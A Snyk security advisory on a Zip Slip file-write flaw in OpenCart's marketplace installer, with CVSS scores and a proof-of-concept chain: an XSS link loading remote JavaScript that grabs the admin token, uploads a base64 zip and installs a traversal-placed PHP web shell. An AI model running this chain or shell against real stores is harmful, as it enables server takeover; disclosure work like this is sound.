Arbitrary File Write via Archive Extraction (Zip Slip) Affecting opencart/opencart package, versions >=4.0.0.0


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team

    Threat Intelligence

    Exploit Maturity
    Proof of concept
    EPSS
    0.1% (42nd percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk ID SNYK-PHP-OPENCARTOPENCART-7266578
  • published 21 Jun 2024
  • disclosed 17 Jun 2024
  • credit Calum Hutton

How to fix?

There is no fixed version for opencart/opencart.

Overview

opencart/opencart is a shopping cart system

Affected versions of this package are vulnerable to Arbitrary File Write via Archive Extraction (Zip Slip). A Zip Slip issue was identified via the marketplace installer due to improper sanitization of the target path, allowing files within a malicious archive to traverse the filesystem and be extracted to arbitrary locations. An attacker can create arbitrary files in the web root of the application and overwrite other existing files by exploiting this vulnerability.

PoC

Combining this with one of the previously identified XSS issues within the admin functionality, the full exploit chain would be as follows:

Attacker sends URL including XSS payload to admin: https://mywebstore.com/admin/index.php?route=common/filemanager.list&directory=demo%2522%253E%253Cscript%2Bsrc%253D%2522http%253A%252F%252Flocalhost%253A8000%252Foc.js%2522%253E%253C%252Fscript%253E%253Cinput%2Btype%253D%2522hidden

Admin is prompted to login. Upon login, they are redirected to the above URL, including a user_token generated at login

The XSS payload includes a Javascript file hosted on another domain, as below - in the example payload it is http://localhost:8000/oc.js:

// Store host
let host = 'https://mywebstore.com'
// Base64 encoded content of the malicious extension zip
let extB64 = 'UEsDBBQAAAAAAKcGglcavkeoQwAAAEMAAAAMAAAALi4vLi4vb2MucGhwPD9waHAgCgppZiAoaXNzZXQoJF9HRVRbJ2MnXSkpIHsKICAgIGVjaG8gc3lzdGVtKCRfR0VUWydjJ10pOwp9Cgo/PlBLAwQUAwAACABojIFXziDSgW4AAACKAAAADAAAAGluc3RhbGwuanNvbi2MMQ7CMAxF957CeEYprN0QCwuHiCKjRhCnSpyGqurdWysd/3tPf+0AkG0gHADfC9BfiLOPjFc1MyUdKu/m1pgtMsak6OECwTOmyTTz8/xVPopMeej7WquxR2NcDK3wnCUVJ+fny84En8IX7LYdUEsBAhQDFAAAAAAApwaCVxq+R6hDAAAAQwAAAAwAAAAAAAAAAAAAALSBAAAAAC4uLy4uL29jLnBocFBLAQI/AxQDAAAIAGiMgVfOINKBbgAAAIoAAAAMACQAAAAAAAAAIICkgW0AAABpbnN0YWxsLmpzb24KACAAAAAAAAEAGACAy2m+fCTaAQDBQ2aeJNoBAAXQMZ4k2gFQSwUGAAAAAAIAAgCYAAAABQEAAAAA'

async function poc(token) { console.log(Got user token :) [${token}])

let uploadEndpoint = `${host}/admin/index.php?route=marketplace/installer.upload&user_token=${token}`;

let blob = new Blob([Uint8Array.from(atob(extB64), c => c.charCodeAt(0))], {type: 'application/octet-stream'});
let form = new FormData();
form.append("file", blob, "acmeext.ocmod.zip");

let response = await fetch(uploadEndpoint, {
    method: "POST",
    mode: "no-cors",
    body: form,
});
let json = await response.json()
console.log(`Got upload response: ${JSON.stringify(json)}`)

if (json.hasOwnProperty("success")) {
    console.log('Uploaded extension, attempting to install..');
    let installId = 5;
    let installCheckEndpoint = `${host}/oc.php`;
    let status = -1;
    while ((status = (await fetch(installCheckEndpoint)).status) != 200 && installId < 50) {
        console.log(`Attempting install with id: ${installId}`)
        let installEndpoint = `${host}/admin/index.php?route=marketplace/installer.install&extension_install_id=${installId}&user_token=${token}`;
        let response = await fetch(installEndpoint);
        let json = await response.json()
        console.log(`Got install response with id [${installId}]: ${JSON.stringify(json)}`)
        installId++;
    }

    console.log(status == 200 ? ":)" : ":(")
} else {
    console.log('Failed to upload extension :(');
}

}

// Get the user token let userToken = new URLSearchParams(window.location.search).get("user_token") ?? null; if (userToken) { // Only continue with a user token poc(userToken) } else { console.log('Couldnt get user token :('); }

References

CVSS Scores

version 4.0
version 3.1
Expand this section

Snyk

Recommended
8.6 high
  • Attack Vector (AV)
    Network
  • Attack Complexity (AC)
    Low
  • Attack Requirements (AT)
    None
  • Privileges Required (PR)
    High
  • User Interaction (UI)
    None
  • Confidentiality (VC)
    High
  • Integrity (VI)
    High
  • Availability (VA)
    High
  • Confidentiality (SC)
    None
  • Integrity (SI)
    None
  • Availability (SA)
    None